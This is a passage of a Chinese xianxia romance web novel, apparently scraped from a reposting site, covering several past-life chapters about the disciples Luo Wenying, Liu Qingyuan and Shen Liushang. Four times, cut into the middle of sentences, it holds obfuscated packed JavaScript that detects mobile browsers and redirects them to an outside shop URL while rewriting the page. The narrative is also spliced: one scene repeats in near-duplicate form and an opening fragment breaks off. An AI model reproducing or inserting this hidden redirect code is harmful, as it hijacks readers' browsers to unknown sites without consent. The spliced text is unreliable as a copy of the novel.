花神依旧是靠着窗边悠悠睡着,圆圆和瑶瑶却哭得好伤心。 花神,陨落了。 方青箬曾经说过,一场镜花水月,她杀死了毓娘娘。 是因为那场梦吗? 是的呀。 三界都以为花神陨落了。可是她陨落了吗? 假的哦。 有人吞并了她的元灵,建造了离山,让她成了一副行尸走肉,甚至反过来吸食人间生机,离山周围哀鸿遍野,苦不堪言。 失去记忆的这段日子,毓曾经想过,她叫什么,又是为什么来到了这里。 因为她心软吗?她只记得一首歌,心就软下来了。 可是她杀了很多人,很多想夺取离山元气的人、鬼、妖、魔、神。百年,千年,万年,她的身子一天天地烂下去了,因为她心存死志。 她不知道自己为什么要死,但是她活不下去了。她活不了了。 她的元灵快要消散了啊。正合她的意。在毓要如愿以偿的时候,她听见了一个声音。 “花神陨落,人间无主。那就再造一个花神。你要为人间做主。” 她忽然想起来了好多事。 两个孩子,两个女孩,在花海里奔跑。一个女孩把另一个女孩扛在肩上,笑着喊:“瑶瑶,飞咯!” 然后她看见了圆圆。 一个脏兮兮的小孩,脖子断了一半,血不断流出来。身边是横七竖八的尸体,有人的,有妖的,还有分不清是什么的。 小孩睁着眼,目光空洞。 她不知道自己是谁,不知道自己从哪里来。她只知道,那些尸体,是和她一起逃难的人。 她活下来了。 可活着,又有什么意思呢? 圆圆站起来,走出破庙,走进人间。 啊她明白了,毓突然开始笑。圆圆又死了,又活了,可是这一次,圆圆没有再遇到她,也没有遇到瑶瑶。 毓又苟延残喘了很久。因为她想,在作为花神的她死后,会不会有机会再牵起瑶瑶和圆圆的手,一起走啊走,一路看见了繁华的街市,看见了炊烟袅袅的村庄,看见了抱着孩子的母亲,看见了牵着手走过的情侣。 她看见了。 她一直看着。 看着看着,她忽然想,也许活着,真的有点意思。 洛闻瑛透过她的眼睛,看见了人间。 真正的、完整的人间。 有苦,有难,有悲,有伤。 但也有笑,有暖,有光,有希望。 她看见了。 手腕间传来一阵灼热。 那枚蓝花楹的印记,正在缓缓变化,花瓣一片一片地展开,颜色一层一层地晕染,最后,化作一朵七色的花。 七色花。 七苦。 第一重,众生相。 她悟了。 就在这时,一只手轻轻覆上她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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倒也不是全然换了副模样,她在师姐柳清圆跟前,还是那副撒娇卖乖的小女儿情态,不过不是一个劲地喊“师姐”了,换成了软着嗓子喊“圆圆”,缠着人要梳头、要喂点心、要抱着睡。 可一见到沈流商,那点子娇憨就收得干干净净,规规矩矩喊一声“师哥”,能绕道绝不迎面走。 小师妹好像不禁逗了,更加记仇了。 沈流商对此很是郁闷。 “我就讲了七天七夜的鬼故事,”他跟怀崖抱怨,“至于吗?” 怀崖捋着胡子笑:“至于不至于,你自己心里没数?” 沈流商当然有数。那七天七夜,他把从人间到妖界的鬼怪奇谈翻了个遍,专挑那些血呼刺啦、阴气森森地讲,直把洛闻瑛吓得夜里不敢独自睡,非得挤到柳清圆床上。效果倒是显著的,小师妹从此见他就躲,见着师姐就往人怀里钻。 但除此之外,洛闻瑛确实稳重了许多。 怀崖讲课时,她不再趴在后排打瞌睡,也不再偷偷画小人儿,竟开始主动回答问题。有一回讲到上古灵契,她举了姑媱山的一则旧例,引经据典,头头是道,把怀崖听得连连点头。下课的时候,她还起身去扶他下台阶。 怀崖受宠若惊:“这是做什么?” “您慢些走。”洛闻瑛认认真真扶着,“台阶滑。” 怀崖看着她,忽然有些感慨。 这孩子,是真的长大了。 56. 前世篇(十六) 离山那桩事,他们知道的不多。洛闻瑛只说遇上一只借太岁修行的妖,顺手除了,不是什么要紧的。怀崖和柳清圆便也没多问,毕竟灵族嘛,什么稀奇事没见过?在他们看来,这和话本里狐妖吸书生精气的故事没什么两样,不过是妖物贪图捷径,妄图窃取天地灵气罢了。 沈流商却不这么想。 他比谁都清楚,洛闻瑛的修为在这半年里蹿得有多快。快得有些不寻常,快得快要赶上柳清圆了。那小丫头片子到底在离山遇见了什么?那所谓的“妖祸”背后,究竟藏着什么?那东西……能不能对他的伤有用? 沈流商低头看了看自己的手。灵力运转时,仍能感到明显的滞涩,像一根细刺扎在经脉深处,拔不出来,也化不掉。心魔就是在那里扎根的,日日啃噬,夜夜滋长。 他去找过怀崖。怀崖说,不急,再等等,总会有办法。 他知道自己或许是要等不到了。 怀崖和他试过无数法子,访过无数高人,得到的答复无非是“心魔难除,只能压制”。压制、压制、再压制,压到什么时候是个头?压到哪一天他再也压不住了,变成一个疯子吗? 那道伤正在疯狂生长,根系越扎越深。他终于再次触碰到了濒死的感觉,不是躯体的疼痛,不是修炼反噬的痛,而是精神正一点点崩塌,心里不时浮起那个念头:死。 他有时会不自觉想起谢济泫。这世上,与他生死相连的,或许只剩下那个二傻子了。 可谢济泫不也骗了他吗?他在等,等他开口,等他来找他。就算要死,他也想有个人陪在身边。临终时,沈流商想,他会牵起他的手,大方地说:“我不追究了。你是鲛人也好,什么都好,只要你牵着我的手,到我闭眼之后再走。” 谢济泫的气息无孔不入,有时修炼时,他都能感觉到那道目光落在身上。夜里困了,他便直接趴在书桌上睡去,醒来却是舒舒服服地躺在床榻上。 近段时日,他越来越像凡人了,食五谷,甚至还抱着被毒死得个痛快的心态去尝过柳清圆做的菜,他近来也更加嗜睡了,不过睡着也好,睡着就不用想别的了。 这时他才觉得,柳清圆或许比他更通透。睡得香甜时,便能去到那“乐游原”吧。在美梦中终结一切,不是很好吗? 梦里他睡得很沉。有人抱着他,轻手轻脚,将他护在怀里。但有时也不那么轻松,醒来时莫名发烧,身上这里那里起了红印,像蚊子包似的。可长生天,哪来的蚊子? 是谁弄的,不言而喻。 沈流商醒来时缩成一团,把脸埋进膝盖,为昨日死亡未临而惋惜,那人陪在身边时,他若就这样死去该多好。要一个人如此清醒地直面死亡的痛苦,真的太累了。 小师妹和柳清圆经常来看他。 今天小师妹从山下带一包糖炒栗子,明天大师姐给他刻一只木头小鸟,后天她俩又装作不经意地问:“师父说你很想他,我们帮你把他绑来好不好?” 他很担心,他正在转化这件事走漏风声后,身边所有人弃他如敝履,躲他,厌他。因为沈流商自己也不会知道自己会变成一个什么玩意儿,一个怎样的“异类”。 所幸怀崖替他圆谎圆得很好。只不过编得有些离谱罢了,相思病什么的也太……罢了,随遇而安。 沈流商依旧只是摇摇头,说是心情差了几分而已,过几天就好了。 洛闻瑛抱着栗子,笑眯眯的:“师哥,这栗子真甜。” 沈流商看着她一颗接一颗剥得欢实,心说:小师妹送的栗子,最后怕是全进了她自己的肚子。 沈流商笑笑不说话。 “师哥,”洛闻瑛把一颗栗子塞进他嘴里,“吃栗子!” 沈流商:“……” 他不是没打过小师妹的主意。 姑媱山秘法与万物生息纠缠不清,离山之事波谲云诡,柳清圆她们可以不在意,他却嗅得出那一点异样来。若不是他们横插那一手,那未成形的太岁,未必不能活。 他循着楼静时留在他这里的那缕魂丝,悄悄探入洛闻瑛的记忆。然后他看见了,那里头埋着一位大神的元灵。 他忽然明白了。他试过那么多太岁,试过那么多法子,可始终差一口气。他缺的,是一个足够坚韧的元灵,历经生死,却仍不肯撒手。能让元灵坚韧成那样的东西,叫执念。 他从洛闻瑛的记忆里,又听见那个声音。 “再造一个花神,为人间做主。” 他愣住。那声音,怎么听着像他自己? 沈流商把这个归咎于禁制太深,探久了心神不稳。他把记忆原样还回去,一丝痕迹都不敢留。 要元灵,还要执念,还要能活的太岁。太难了。他只剩一成灵力,又不敢叫人知道,这根本是痴人说梦。 可他还有一个法子,一个简单的法子,就是把洛闻瑛做成肉灵芝,填进他的伤口里,一了百了。 这个念头刚冒出来,他就觉得自己疯了。 他不敢,他不想,他不能。 那就死吧,死了算了,死得无声无息好了。 一旦真做出那种事,就算不变成异类,也是个罪人,要被扔进大荒炼狱,被永生永世锁着。死就死吧。他花了半年,才终于把这件事实咽下去,原来这就是等死的感觉。 可他还是会梦见小师妹。 梦见她刚来长生天那会儿,小小的一团,软软糯糯的,他整天哄着她飞高高,给她买糖炒栗子,就为了听她喊一声“师哥”。 而柳清圆每次看见都要骂他。 “你又去烦小师妹?”她眉毛一竖,“多大的人了,能不能有点出息?” “我关心师妹怎么了?”他理直气壮。 “你那叫关心?”柳清圆嗤笑一声,“你那叫图谋不轨。” “柳清圆你说话注意点!” “怎么,还想打架?” “打就打,我怕你?” 然后柳清圆就把他挤开,把小师妹抱进怀里,带着人御剑转圈圈。小师妹吓得抱住大师姐不放,大师姐就在她脸上啵唧一口,又啵唧一口。 怀崖坐在廊下晒太阳,看着这两人又吵起来,嘴角慢慢弯起来。他摸出一个小本本,拿毛笔往上添了一行。 “三月初七,沈、柳二人又起争执,起因仍是洛师妹。洛师妹躲于柳身后,偷偷吃栗子。” 本子上已经密密麻麻写了许多。 “洛洛x啾啾”那一栏,画着两只依偎的小动物,一只像猫儿,一只像鸟。 “沈流商x柳清圆”那一栏,备注是“相爱相杀,三日一小吵,五日一大吵”。 “柳清圆x洛闻瑛”那一栏,画了一颗歪歪扭扭的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576345|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 怀崖对自己的创作很是满意。他活了这么多年,就只剩下这点乐子了,看着这些小辈们闹腾,再把闹腾记下来,等日后他们飞升的飞升、继任的继任,这些本子就是长生天的活历史。 只可惜,他藏得不够严实。 好多年后,怀崖自己都忘了这茬,结果那天本该在藏书阁蒙灰的话本,被一个内门弟子借走了。那弟子偏偏是个大嘴巴,不出三日,整个长生天都知道怀崖长老在偷偷写小辈们的“故事”。 不出十日,故事演变成了三角恋。 “听说了吗?洛师妹和三师兄其实是青梅竹马!” “不对不对,明明是柳师姐和洛师妹惺惺相惜!” “你们都错了,三师兄和柳师姐才是真爱,相爱相杀那种!” “洛洛和啾啾多配啊!” 那时沈流商听见这些传言的时候,脸都绿了。 啾啾更是咬牙切齿,洛洛更是咬牙切齿,一猫一鸟打得有来有回。 柳清圆难得和他统一战线:“我也想知道,谁是‘相爱相杀’?” 洛闻瑛抱着师姐的胳膊,无辜地眨眼睛:“什么是三角恋?” 怀崖笑而不语,赶忙去闭关。 热闹归热闹,日子还是要过。 沈流商睡着了,又梦醒了,他笑了笑。 原来不是的。 他原以为将死之际,自己会觉着可怜,会因父亲、母亲、姐姐而心生怨恨,会泛起一丝执念的味道。 可他没有。 他竟然没有。 临死之际,沈流商满脑子都是长生天的日子。他不知道,这叫“流连”。 那些日子里,谢济泫一直在。祝东风蜷在他怀里,拼命渡着灵力,却已是杯水车薪。小家伙哭得抽抽搭搭,死死抱住沈流商的手指,后者靠在谢济泫怀里,像死了一般安详。 可谢济泫不会让这事发生。 门被推开,怀崖走进来。这回倒没了胡子,只静静问:“什么时候肯放他走?” 祝东风龇着牙,作势要扑上去咬。 谢济泫说:“直到我死。” 怀崖说:“那你去死吧。” 谢济泫无意与他动手。他只觉着怀里的身子一点点冷下去,再等一日,他的神智将被另一种存在取代。 不是他,是“祂”。 祂会记着沈流商的一切,与谢济泫有关的,无关的,祂全知晓。躯壳分毫不差,变的只是灵族这个身份。 可祂是沈流商么? 大约不是,复制的终归不同。祂有他的皮相,他的性情,可真摆在同样境地,祂不会做他那样的选择。 祂不是他。 怀崖说:“你不该从大荒逃出来。” “是你逼的他,他才与你结同心契。” “他不爱你。” 谢济泫说:“不是的,我真不知他有心魔。” “我们是两心相约的。” “千年前,万年前,是我先遇见他的,他说好陪我的。” 怀崖道:“那就把那份记忆还他。我有法子救他。” “足够再拖千年。” 谢济泫低头,看着沈流商安详的面容,轻轻吻了下去。 “十年,”他说,“十年后,我必来寻你。” 他走了。 57. 前世篇(十七) 沈流商再睁眼时,怀崖正立在他跟前,唤他过去。 “我找到一个法子,”他说,“可以暂时压制你的心魔。” 沈流商问:“什么法子?” “闭关十年,隔绝所有气息。”怀崖看着他,“这十年里,你不能见任何人,不能动用灵力,只能潜心修炼。心魔失了根基,自然会沉寂下去。” 沈流商沉默了一会儿:“……十年?” “十年。”怀崖点头,“对咱们灵族来说,不过弹指一挥间。” 沈流商想了想,又问:“这法子……怎么来的?” 怀崖没回答,只是摆摆手:“去吧,准备准备。清圆和闻瑛那边,我替你说。” 沈流商总觉得哪里不对,但怀崖不愿多说,他也就不便追问。他只当是怀崖又从哪个古籍里翻出的秘法,千恩万谢地应了。 临闭关前,他去向柳清圆和洛闻瑛道别。 柳清圆难得没跟他拌嘴,只淡淡道:“好好修炼,别死了。” 沈流商“啧”了一声:“你就不能说点好听的?” “好听的?”柳清圆挑眉,“祝你闭关顺利,出来之后还是这么讨人厌。” 沈流商气笑了。 洛闻瑛站在一旁,欲言又止地看着他。沈流商走过去,犹豫了一下,还是没忍住掉了眼泪。 “叫声师哥?” 洛闻瑛垂下眼睛,没有说话。 沈流商叹了口气,伸手揉了揉她的头发:“算了,不叫就不叫。我走了,十年后见。” 他转身离去,没有看见洛闻瑛抬起头时,眼眶微微发红。 十年,说长不长,说短不短。 沈流商闭关的第一年,柳清圆有些无聊。没人跟她拌嘴了,讲课的时候总觉得少了点什么。她去找怀崖,忽然发现怀崖比从前老了许多,走路要拄拐杖,说话也慢吞吞的。 柳清圆觉得新奇。怀崖老头怎么又换了个模样?其他灵族都恨不得永远青春貌美,他倒好,越变越老。 沈流商闭关的第三年,洛闻瑛回姑媱山了。 她是去渡劫的。继任者的第二重考验,需得独自面对。柳清圆送她到山门前,洛闻瑛抱着她不肯撒手,闷闷地说:“圆圆,我会想你的。” “去吧。”柳清圆拍拍她的背,“早点回来。” 洛闻瑛点点头,松开手,一步一步走下台阶。走到最后一级,她回过头,冲柳清圆挥了挥手,笑得眉眼弯弯。 然后她转身,消失在云雾里。 柳清圆站在原地,看了很久。 沈流商闭关的第五年,怀崖老得有些不像话了。他整日坐在廊下晒太阳,眯着眼睛,像是在等什么人。弟子们从他身边经过,他偶尔会叫住一两个,问:“瑛瑛回来了吗?” 弟子们摇头。 怀崖便点点头,继续晒太阳。 这一年,姑媱山上,洛闻瑛正在渡她的第二重劫。 这劫有个名字,叫叩心劫。 不考灵力,不考术法,只问一件事,问本心。 “内观其心,心无其心;外观其形,形无其形;远观其物,物无其物。” 心门无门,叩问其真。 洛闻瑛起初觉得这问题简单。这不就是问她要什么呗?她要长生天,要师父师姐,要沈大牛讲鬼故事给她听,又为了赔罪递过来的糖炒栗子,要怀崖长老笑眯眯地喊她“小丫头”。还想让静时姐姐不要成婚。 她嘱托小瑛儿,待修得大道、受封凌霄殿时,替她瞧上一眼,还叫小瑛儿带了一句话: “说山水,说生死,说离别。” 洛闻瑛不懂这话的深意,只觉得静时姐姐说这话时,眉眼间有少女怀春的模样,很好看。 她忍不住问:“你就这么中意他?” 静时姐姐笑着答:“有、有一点吧?嫁给了他,我就得跟他生小孩子诶。当初我阿娘也是有一点喜欢我阿爹的,不然怎么会有阿弟呢?我们这一脉,有一个女孩儿本就够了啊。” 她私下里仍唤阿爹阿娘,尽管洛闻瑛始终不知道她的阿爹阿娘是谁。 后来很多年后洛闻瑛再次入人间游历,偶然听到三句话,才终于读懂那句托付。 说山水。 “我住长江头,君住长江尾。日日思君不见君,共饮长江水。” 说生死。 “生当复来归,死当长相思。” 说离别。 “不思量,自难忘。” 山水是隔,生死是绝,离别是苦。 那不是中意,不是欣喜,更不是想学阿爹阿娘那样,爱过又难相守。 那是一封诀别书。 只是彼时她还不懂,只想着:要好多好多人陪着她,永远不要离开。 现在的洛闻瑛第一次入人间,只晓得她还要山下小镇清晨的炊烟,要赶集时糖画老伯多画的那只兔子,要春来时满山遍野的欢声笑语。 她要的东西太多了,多到她说都说不完。 叩问心门,洛闻瑛突然发现自己的心原来是“贪心”。 没这么简单的,叩心劫还在推着她走。刚才所见,不过是她拥有的,却不是她想要的。恰恰是这些“拥有”,挡住了她的真正所求。 渡劫之地是一片虚无。没有天,没有地,只有无尽的白。你往前走,不知道走了多久,忽然就看见了人间。 不是幻象。是真真切切的人间。 她看见那一天,依旧是元夕庙会。糖画老伯支起摊子,铜勺舀起金黄的糖浆,手腕一抖一压,石板上便卧了一只兔子,透明的,琥珀色的,等着人来吃。 这时有一个苍老的声音响起在天地间:“你究竟想要什么?” 她说:“我想吃兔子。” 然后她就看见他们三个没带钱,都蹲在糖画老伯的摊子前眼巴巴地等,结果被人像撵鸭子似的赶走了,那兔子糖被别人家的小孩舔着拿走了。 洛闻瑛有些失望,又继续往前走,似乎看见了长生天。怀崖在廊下晒太阳,眯着眼睛打盹。师姐靠在窗边,百无聊赖地看着天,像是在等谁回来。沈大牛的身影倒是不见了。 她扯着嗓子喊:“沈大牛!沈大牛!你躲哪儿去了!你的病好些没!” “你想要他的病好起来吗?” 洛闻瑛点点头。 画面忽然模糊了。 她感受到一股灼热从四面八方包裹而来,沈流商坐在地上,火一点一点烧到他身上。火光里,那张脸扭曲、皲裂,最后化成一捧灰。 她想动手,灵力却像打在空处。火没有停。 火烧死了师哥,烧死了师姐,烧死了师父,烧死了整个长生天。 她看见另一个自己。不是现在这个傻傻的她,而是很多很多年后的她。一个人站在长生天的山门前,风吹起她的衣角,背影孤零零的,就像瑶姬曾经在山门前等候她一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576346|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而她背后的长生天已经没了。断得只剩几根柱子,残破又丑陋。 还等什么啊。有什么可等的。 仍旧是那个声音:“你愿意拿什么来换?” “那些你爱的人,你眷恋的姑媱山,那热气腾腾的人间,你想要它们长长久久地存在,对不对?你想要和师姐永不分离,对不对?” “对。” “那么,你愿意为此付出什么?” 声音从四面八方来,严厉地质问。 “你得用自己的命,去换她们的命。” 洛闻瑛张了张嘴。 “你愿意从此不能再吃糖画,不能再赶集,不能再看见人间的炊烟,换她们平安吗?” “你愿意忘记她们,让她们也忘记你,换她们活得更久吗?” “你愿意吗?” 四周的人间像走马灯一样转。师父在笑,师姐在等她回去。瑶姬大人一个人站在姑媱山前,也等了很久很久,等她长大,会唱祭歌,学着跳祭舞,等她渡劫成功,成为姑媱山的神。 她想起小时候睁开的第一眼,看见的就是女神瑶姬,和花神记忆里的瑶瑶好不一样。一个在等母亲回来,一个在等一个人长大。 如果花神能活过来,再摸摸瑶瑶的头,瑶瑶会回到从前吗? 她又想起见到长生天的第一眼。那是她第一次踏出姑媱山,可以偷懒了,可以到处去玩儿了。 而此刻她眼前的,是破败的山门,是溢满的死气。 她忽然开口,整个画面彻底被定住。 “我不愿意。” “我用命换不了她们的命。我愿意不再吃糖画,不再赶集,不再看人间的炊烟。可是——” “可是——” 她的声音忽然哽住。眼眶先红了,却倔强地睁着,不让东西掉下来。 “我不愿意让她们忘记我。” 她抬起头,看着那虚无的天空。 “您问我要什么,我现在告诉您:我要她们活着,好好地活着,活很久很久。但我也要自己活着,好好地活着,回去见他们。” “我要的是回去,而不是无谓的牺牲。我不想自己一个人在那里等着。” 他们都有自己的路要走,有自己的劫要渡,有自己爱的人要等。 而她呢? 她也是他们中的一个。 “功成事遂,百姓皆谓‘我自然’。”百姓从不知有圣,他们依旧在活着。 “偶抉丹田出,烟火养精神。”寻常的烧火做饭,便能养人了。 叩问心门,见其自然。 “拯救苍生这担子,”她忽然笑了一下,笑着笑着眼泪就掉下来了,“从来就不是该放在哪一个人肩上。” 心门无门,其道可道。 “人间就做得很好。人间的生灵,便是众生。” 她的声音稳了。 “我要清晨有炊烟,傍晚有晚霞。我要卖豆腐的还能卖豆腐,画糖画的还能画糖。我要山下的镇子年年都有蓝花楹开,我要长生天的台阶上,年年都有人走上来。” “这跟我死不死有什么关系?” “少我一个不少。我要他们全都活下来。我不当天上的神,我也不要谁来当。” “天地无须神灵造势!” 她深吸一口气,对着那无尽的虚无,用尽全身的力气喊了出来。 “我要这天地,皆成人间!皆为众生!” 58. 前世篇(十八) 话音落下。 四周的白碎了。 她浑身是血,趴在一片废墟里,疼得几乎动不了。灵力一丝也无,经脉像是被人一寸寸碾碎又胡乱拼起来。她不知道自己昏过去多少次,又醒过来多少次。 但她记得自己说了什么。 她也记得,有个人还在等她。 她撑着最后一口气,一点一点往外爬。 云缨大人站在不远处,面无表情:“回去。” 洛闻瑛摇头。 “您要去哪里?” “长生天。”洛闻瑛说,声音沙哑,“我要去长生天。” 云缨大人说:“瑶姬大人在等您。” 洛闻瑛没理她,一步一步往外走。 走了三步,被云缨抓回来。 她又走。 又被抓回来。 她再走。 云缨大人正要动手,瑶姬的声音从身后传来:“让她走。” 云缨一愣:“大人?” 瑶姬看着那个踉跄的背影,淡淡道:“她心神震荡,想是累极了。” “她走不远的。” 洛闻瑛继续走。 走几步,摔一跤。爬起来,再走。再摔。再爬。 她的神志越来越模糊,眼前的路越来越晃。有好几次,她都不知道自己是在走还是在爬,只知道要去长生天。 瑶姬终于亲自追上来,拦住她:“停下来,好好歇一歇。” 洛闻瑛抬起头,眼神涣散,好一会儿才认出来人。她伸手摸了摸瑶姬的头,像是在安抚一只炸毛的小兽,嘴里喃喃道:“瑶瑶乖,我要去看圆圆了。” 瑶姬愣住了。 洛闻瑛绕过她,继续往前走。 走出三步,被瑶姬一掌拍翻在地。 “又不是不送你回去了,”瑶姬咬牙,“先乖乖养好伤……” 洛闻瑛趴伏在地上,嘴角缓缓咧开,露出一个笑。她伸出双手,一点一点,一寸一寸,朝前挪去。像当年那个迷失在人间的女孩,浑噩游荡,被鬼啃噬,被精怪追猎。 不过她比那时的圆圆好一些,洛闻瑛那些被吃掉的肉很快又会长回来,脖子用不着断掉一半,伤口转瞬就能愈合。只是,她依然没有多余的灵力了。她全部的力量,都用来撑住那一线残存的意识。 沈流商闭关的第七年,洛闻瑛终于爬到了长生天。 那天柳清圆刚刚睡醒,正懒洋洋地靠在窗边发呆。忽然听见外头乱哄哄的,好多弟子往山门那边跑。她以为又有什么热闹可看,慢悠悠踱过去,拨开人群。 然后她看见了小师妹。 洛闻瑛趴在地上,浑身是血,衣袍破烂得不成样子,断掉的一截胳膊还在生长着,新绽的肉芽很是骇人。她的头发散乱,脸上糊着干涸的血迹和泥土,只有一双眼睛还亮着,直直地看着柳清圆。 柳清圆呆住了。 她走过去,蹲下身,伸出手,却不知道往哪儿放。到处都是伤,到处都是血,她怕碰疼了她。 洛闻瑛却先动了。 她撑着最后一点力气,爬过去,一把抱住了柳清圆。 “圆圆……”她的声音很轻,却带着笑,“我来啦。” 柳清圆浑身僵硬,好一会儿才伸出手,回抱住她。 洛闻瑛靠在她肩上,烧得滚烫的额头抵着她的颈窝,嘴里含含糊糊地说着胡话:“……结为道侣吧师姐……不只是成婚那种,是永不分离的,受天地祝证的结契。你我大婚……芳名远扬……” 柳清圆听着听着,眼眶忽然就红了。 她握紧洛闻瑛的手,看着那张烧得迷迷糊糊的脸,听见自己的声音说。 “好。” 山门前,风轻轻地吹。 有弟子悄悄抹眼泪,有弟子忍不住笑出声。长生天要有喜事了。 爬过碎石,爬过断崖,爬过姑媱山的长阶。云缨大人来拦她,瑶姬大人来拦她,她只管爬。有人问她要去哪儿,她神志不清地摸着那人的头,说:“我要去看圆圆了。” 她不知道这一路爬了多久。 “圆圆——” 她趴在地上,浑身是血,脏得不成样子,却笑得眉眼弯弯。 “我来啦。” 柳清圆抱着她,浑身僵硬,眼眶通红。 洛闻瑛靠在师姐肩上,烧得滚烫。她含含糊糊地说着胡话,说着说着,忽然听见一个声音。 “好。” 她愣住了。那个声音轻轻的,却比什么都清晰。 她抬起头,看见柳清圆的眼泪落下来,砸在她脸上,好暖和。 洛闻瑛忽然笑了。 她从怀里摸出一张纸。那张纸皱巴巴的,沾满了血污,不知道被她藏在怀里爬了多久。她小心翼翼地展开,递给柳清圆。 “师姐……这是人间的诗。这是……写给你的诗。” 是跟着静时姐姐学到的,告白诗。 柳清圆低头看去。 纸上只有几行字,歪歪扭扭的,却一笔一划写得认真。 “心悠悠,水游游,东山花嫋嫋。烛欣欣,雨晴晴,明月薄薄云。瑛粉粉,粥粥温,一枝闲在候卿卿。” “——顾兔,灯下,书奉仙卿亲启。” “仙卿……是师姐。”洛闻瑛轻声说,“顾兔,盼卿卿。” 柳清圆看着那几行字,忽然一个字也说不出来。 远处,怀崖拄着拐杖站在廊下,眯着眼睛看着这一幕。 他看着洛闻瑛趴在柳清圆怀里,浑身是血,却笑得像只偷到糖的小狐狸。他看着柳清圆握着那张纸,低着头,肩膀一抖一抖的。 怀崖想了想,慢悠悠摸出小本本,添了一行字。 “某年某月某日,洛师妹从姑媱山爬回长生天,当众向柳师姐求亲。柳师姐应了。沈师哥尚在闭关,对此一无所知。” 他顿了一下,又添了一句。 “洛师妹要成神了。” 洛闻瑛醒来时,浑身都在疼。 她记不清自己昏了多久,只记得疼。那种疼像是有万种蚯蚓在骨血里游走,啃完了骨头然后冒出一个头。她下意识想喊静时姐姐,张了张嘴,却什么声音都没发出来。 她在姑媱山长大,几百年没受过这种罪。 姑媱山的日子多好啊。她自小是圣女,瑶姬大人虽不常笑,却也从不苛责她,云缨姑姑面上冷,也只是把她的修炼盯得紧点,而静时姐姐更是变着法儿陪她玩闹。 楼静时会瞒着云缨带她去后山摘果子,教她怎么在瑶姬面前装乖讨巧,夜里偷偷溜进她房里给她讲故事。连她养的那只灵宠洛洛,都是静时姐姐用她种的第一株花点化的,成日在花丛里滚得一身花粉,惹得那些小花精三天两头来告状。 她几时吃过这种苦? 迷迷糊糊间,她想起头回离开姑媱山那日。 瑶姬亲自送她到山门前,说要她去长生天修行。她抱着瑶姬不撒手,眼泪糊了人家一身,哭得直打嗝。她装可怜装了一整天,连鲜花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576347|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饼都不肯吃,就盼着瑶姬心软。可瑶姬只是看着她闹,等她闹累了,才淡淡说一句:“偷跑回来一次,就断一年的鲜花饼。” 她当场就蔫了。 静时姐姐倒是偷偷帮她。用魂术化傀偶来长生天陪她,躲在角落里陪她说话,陪她蛐蛐瑶姬大人心狠。她们自以为藏得好,瞒了好久好久,直到灵泽大比时那缕神念碎了才露馅。后来云缨罚了静时禁足,瑶姬果然减了她的鲜花饼。 想起这个,洛闻瑛又有点委屈。 那会儿她刚到长生天,谁也不认识,谁也不熟,缩在房里不肯出门,哭了整整三天。后来宗门把她分到怀崖长老座下,她才慢慢活过来。 怀崖是个小老头,十二长老里唯一留着胡子的。旁人都说他只是用灵力变换了模样,洛闻瑛闻着他身上那股苍老的气息,也不懂什么意思,只是点点头。 怀崖大概看她可怜,天天来哄她,讲笑话,讲仙门趣事,还亲自下厨给她做鲜花饼。她的挑食就是那时候被养好的,怀崖做的鲜花饼,真的很难吃。可是又比臭烘烘的“尸”要好吃一些。 洛闻瑛的同门还有师姐柳清圆和师哥沈流商。 拜师礼那天,她头一回见着师姐,整个人都愣住了。 师姐真好看。不是那种冷冷的好看,是让人一看就心里开花的好看。更重要的是,师姐身上有种她熟悉的气息。 这和姑媱山里所有人都不一样,和瑶姬、云缨、静时都不一样。那种气息让她觉得亲近,觉得安心,觉得自己终于有了同类。 瑶姬也解释过,圣女本就是不一样的。可她不喜欢不一样。她想要有人和自己一样,想证明自己不是异类。 那天师姐师哥抢着抱她,抢得差点打起来。最后师姐赢了,一把将她捞进怀里。她太矮了,踮着脚也只够抱住师姐的腿。 师姐在她脸上亲了一口,又亲一口。她笑得眼睛弯弯,凑上去也亲了亲师姐的脸颊,闻着那清甜的香气,然后试着咬了她一下。 轻轻的,然后悄悄加重力道。 比鲜花饼还好吃,但是师姐的笑没了。 她撒腿就跑,扑进旁边师哥怀里,大着舌头喊:“师哥!沈牛山!” 沈流商面无表情地抱着她,低头看了她一眼,然后果断把她塞回师姐手里。 洛闻瑛:“?”不嘻嘻。 第二天她肿着眼睛出来,沈流商笑得前仰后合。她气得不行,憋成个小葫芦,连怀崖都受了冷脸。怀崖大怒,把借口下山躲事儿的师姐师哥叫回来,押着他们去道歉。 